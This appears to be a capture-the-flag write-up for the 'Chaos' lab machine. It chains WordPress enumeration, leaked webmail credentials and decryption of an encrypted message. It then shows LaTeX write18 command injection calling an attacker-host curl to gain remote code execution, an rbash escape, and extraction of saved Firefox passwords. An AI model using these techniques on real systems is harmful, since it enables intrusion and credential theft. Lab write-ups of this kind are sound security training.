[+] WordPress theme in use: twentyseventeen | Location: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/ | Last Updated: 2018-12-19T00:00:00.000Z | Readme: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/README.txt | [!] The version is out of date, the latest version is 1.9 | Style URL: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Detected By: Css Style (Passive Detection) | | Version: 1.7 (80% confidence) | Detected By: Style (Passive Detection) | - http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8, Match: 'Version: 1.7'
On port 80 there is a Wordpress installation with a password protected post.
Thus using huamn as password to the blocked post it’s possible to read a note about some webmail credentials for ayush user.
On port 10000, running with TLS, there is a login to a Webmin interface. Webmin allows to control a PC from a browser. But no credentials are found to be used on the service.
Adding chaos.htb to /etc/hosts allows to access the main web application:
Scanning the host with gobuster shows useless directories:
Using the founds credentials for the webmail (ayush:jiujitsu) it’s possible to login on the IMAP service on port 993 (the service requires SSL/TSL enabled) using openssl.
OpenSSL implements a client that support SSL/TLS and can be used like telnet to interact to simple services like POP3 or IMAP.
The code, however, is not complete because the decryption function is not present. The algorithm use AES CBC to encrypt the message and a simple Google search return the complete script:
defMain(): choice = input("Would you like to (E)ncrypt or (D)ecrypt?: ") if choice == 'E'or choice == 'e': filename = input("File to encrypt: ") password = input("Password: ") encrypt(getKey(password), filename) print("Done.") elif choice == 'D'or choice == 'd': filename = input("File to decrypt: ") password = input("Password: ") decrypt(getKey(password), filename) print("Done.") else: print("No Option selected, closing...")
if __name__ == '__main__': Main()
With the complete script it’s possible to decrypt the message with password sahay: “You are the password XD.”.
The provided link returns a web application to write some templates. It turns out that the application runs pdflatex on the backend to compile the inserted text:
LaTex allows to execute commands on the machine where it’s compiled but some commands are blacklisted.
Another way to run commands using LaTex it’s using \immediate\write18{curl http://10.10.XX.XX}, uploading and compiling the template triggers a HTTP request on the local machine:
Using the above command it’s possible to get a RCE and start a meterpreter session:
The session is for user www-data and some basic enumeration of the system do not found anything juicy except for the MySQL password (inner[OnCag8) and the Wordpress user hash (human:$P$BSl/JcSO/ofPD.t/2u8ANTcqtIBX5G/).
The purpose of the privesc is to get a shell as ayush, sahay or root and the most obvious way to do so is using su: ayush has proven not to be careful about his passwords.
jiujitsu is the password for user ayush but the spawned shell is restricted (rbash as stated on the passwd file).
The rbash shell has the PATH variable set to /home/ayush/.app so simply using the PATH of user www-data it’s possible to get a fully working shell and read the first flag.
In the home directory is present the Firefox’s folder profile and Metasploit provides a module to extract the files with user saved passwords and logins: post/multi/gather/firefox_creds.
If Firefox is configured to use a Master Password to store the saved credentials those are encrypted and to decode them the password must be known. Assuming to know the password, all files are extracted and dumped to the local machine and using a tool called firefox\_decrypt the encrypted credentials can be decrypted.
The tool extract and decrypts, after asking for a password, all saved credentials in the Firefox profile.
Again the Master Password is jiujitsu and the only entry in the database is the root password used to the Webmin service.